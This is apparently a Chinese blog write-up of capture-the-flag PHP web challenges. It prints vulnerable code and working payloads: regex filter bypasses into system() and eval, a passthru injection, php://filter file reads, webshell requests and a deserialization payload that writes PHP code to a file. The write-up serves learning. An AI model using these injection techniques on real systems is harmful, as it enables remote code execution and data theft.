cat 刷题经历(命令执行)

目录

我幽默码

ENV

 命令执行之我在干什么

 命令执行之我是谁

命令执行之我在哪

webshell

 无字符Webshell


目录

我幽默码

ENV

 命令执行之我在干什么

 命令执行之我是谁

命令执行之我在哪

webshell

 无字符Webshell

命令执行

[两小时AK赛] - WEB - easy_unser


我幽默码

打开源码,主页面啥都没有

一个棋盘, 

看#1部分,上面一行是顺序,下面一行是对应棋盘的坐标,比如null对应?,z1对应的字母是o位置是2,以此类推结果是?source,就想到这个应该是给url后面加一个?source但是传什么不清楚,那就随便传个?source=1看看,结果出现了源码,源码如下:

<?php
error_reporting(0);
if(isset($_GET['source'])){
    highlight_file(__FILE__);
    echo "$flag_filename = 'flag'.md5(???).'php';";
    die();
}
if(isset($_POST['a']) && isset($_POST['b']) && isset($_POST['c'])){
    $c = $_POST['c'];
    $count[++$c] = 1;
    if($count[] = 1) {
        $count[++$c] = 1;
        print_r($count);
        die();
    }else{
        $a = $_POST['a'];
        $b = $_POST['b'];
        echo new $a($b);
    }
}
?>

这时候,感觉唯一可以利用的就是else后面的

$a = $_POST['a'];
        $b = $_POST['b'];
        echo new $a($b);

参考链接:记一道2021浙江省赛的Web题_合天网安实验室的博客-CSDN博客

所以我们就要想办法绕过count=1,因为正常情况肯定是等于,所以想到了溢出问题,这里可以用php数组的溢出,来使得$count[]=1赋值失败。php数组的临界值是9223372036854775807,所以结合代码我们只需要给c传9223372036854775806就可以进入else语句,再结合参考链接里面的我们可以依次post传以下payload拿flag。
———————————

a=DirectoryIterator&b=glob://flag[a-z0-9]*.php&c=9223372036854775806

这个方法可以获得flag的名字,然后接下来就需要读取这个文件

a=SplFileObject&b=php://filter/convert.base64-encode/resource=flag56ea8b83122449e814e0fd7bfb5f220a.php&c=9223372036854775806

 然后解码,就可以获得】

ENV

打开题目显示 ?cat=  但是不是命令执行,

 试了一下发现果然不是然后就,并且没有flag文件结合题目env,想到在PHP中的$_ENV是一个包含服务器端环境变量的数组。它是PHP中一个超级全局变量,我们可以在PHP 程序的任何地方直接访问它。所以就直接var_dump打印一下环境变量看看行不行。传入

?cat=var_dump($_ENV);

然后就得到了flag

 命令执行之我在干什么

<?php
error_reporting(0);
show_source('index.php');
$cmd = $_GET['a'];
$a = '/IFS|flag|cat|tac|more|find|less|[ |<>|?|*|\\\\\'"]/';
if(preg_match($a,$cmd)){
    echo "not allow";
}
else{
    if(strstr($cmd,'yyds')!=$cmd){
        echo "you are success!";
    }
    else{
        system($cmd);
    }
}
?>

第一步先审核代码,发现只有绕过正则匹配,进入else,然后再等于cmd就可以得到system进行命令执行,

strstr()函数,:strstr(str1,str2) 函数用于判断字符串str2是否是str1的子串。如果是,则该函数返回str2在str1中首次出现的地址;否则,返回NULL。

比如: 
char str2 = “cdef”; 
char str1 = “abcdefgh”; 
则通过函数,将返回 
strstr(str1,str2) = cdefgh;

 看到传的参数a没有过滤ls命令所以先看目录,传入ls提示you are success!,看代码需要给传入的参数带上yyds,所以传入

?a=yyds;ls 

 

 发现没有flag再看根目录,由于过滤了空格这里用%09绕过payload为

?a=yyds;ls%09/

发现flag文件,下一步读flag

但是代码过滤了linux下常用的看文件命令和关键字flag还有通配符,没有过滤tail,nl等这些看文件命令,用这里用tail读文件,用[a-z]绕过关键字过滤。最终payload为

?a=yyds;tail%09/fla[a-z] 

 

 命令执行之我是谁


<?php 
error_reporting(0);
show_source('index.php');
$cmd = $_GET['cmd'];
$preg = preg_match('/system|exec|shell_exec|`|popen|cat|tac|more|less|flag/',$cmd);
if(!$preg){
    eval($cmd);
}else{
    echo "非法字符";
}
?>

拿到源代码发现过滤根本不严,系统命令执行函数没过滤完,这里我选用passthru()函数实现命令执行。先用

?cmd=passthru("ls");

 

 看到有flag文件之后用

?cmd=passthru("tail%20fl*");

即可拿到flag

命令执行之我在哪

<?php
highlight_file(__FILE__);
if(isset($_GET['cmd'])){
    if(!preg_match('/php:\/\/|data:\/\/|phar:\/\/|phpinfo()|info|rm|find|flag|rm|\/|echo|\.|\*|\?/i',$_GET['cmd'])){
        @eval($_GET['cmd']);
    }else{
        echo "danger_string";
    }
}else{
    echo "你啥也不输入,给你个假的flag:flag{error_flag}";
}
?>

这个题是还是命令执行,首先利用GET方式传入cmd参数,代码中过滤了伪协议还有一些关键字,不能以伪协议形式直接读取文件,@eval($_GET['cmd']);将输入的参数以php代码执行。做这个题之前需要知道几个函数,详解如下:

get_defined_vars ( void ) : array 返回由所有已定义变量所组成的数组
此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。

传一下这个函数看一下结果。

payload如下: 

?cmd=var_dump(get_defined_vars());&b=1

 

可以看见b参数在里面,并且GET参数在数组第一个,然后要用current函数提取出来b参数

current ( array &$array ) : mixed 返回数组中的当前单元
每个数组中都有一个内部的指针指向它“当前的”单元,初始指向插入到数组中的第一个单元。 

payload如下:

?cmd=var_dump(current(get_defined_vars()));&b=1 

可以看见我们提取到GET参数的数组了,因为b在最后一个,所以我们用end函数把值取出来。

end ( array &$array ) : mixed end()
将 array 的内部指针移动到最后一个单元并返回其值。 

写下payload:

?cmd=var_dump(end(current(get_defined_vars())));&b=1

  可以看到成功把b参数的值拿出来了。下面配合eval参数可以直接rce。接下来依次用如下payload拿flag

?cmd=eval(end(current(get_defined_vars())));&b=system(%27ls%27);
?cmd=eval(end(current(get_defined_vars())));&b=system(%27tac%20flag.php%27);

就可以获得flag 

webshell

 进入页面,没有任何提示,通常使用robots.txt或www.zip等尝试查看是否存在提示等 ,进行扫目录操作

输入robots.txt果然存在提示webshe11.php

进行访问后发现有一串base64编码,解码后,发现传参的参数是hacker

http://ctf.vfree.ltd:9015/webshe11.php?hacker=system('ls ');

本目录没找到那就看一下根目录,或者一直 ../../../也可以

http://ctf.vfree.ltd:9015/webshe11.php?hacker=system('ls /'); 

 

找到flag,拿下

然后终于知道只有到达flag的目录才可以得到flag 

http://ctf.vfree.ltd:9015/webshe11.php?hacker=system('cat /flag');

 无字符Webshell

这道题有点难度,还在解决ing

命令执行

f发现输入system('ls')没有任何回显,感觉是过滤了然后想到用 反引号执行

?cmd=echo `ls`; 

 发现有个get_flag试着获取一下

没想到如此简单直接出来了

 看别人wp发现确实是简单自己还复杂了,哈哈好傻,但是加油!

[两小时AK赛] - WEB - easy_unser

这道题其实也是命令执行

<?php
//flag in /flag
show_source('./index.php');
class catf1ag{
    public $target='flag';
    function __wakeup(){
        $this->target = "catf1ag is CTF platform!";
    }
    function __destruct(){
        $fp = fopen("catf1ag.php","w");
        fputs($fp,$this->target);
        fclose($fp);
    }
}
$a = $_GET['catf1ag'];
$b = unserialize($a);
include 'catf1ag.php';

?>

进去页面发现源码,然后就发现是构造序列化,绕过wakeup 不然target属性要被赋值

?catf1ag=O:7:"catf1ag":2:{s:6:"target";s:26:"<?php include('/flag'); ?>"}

直接输出flag,或者?catf1ag=O:7:"catf1ag":2:{s:6:"target";s:29:"<?php system(‘cat /flag’); ?>"}

 都可以获得,

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值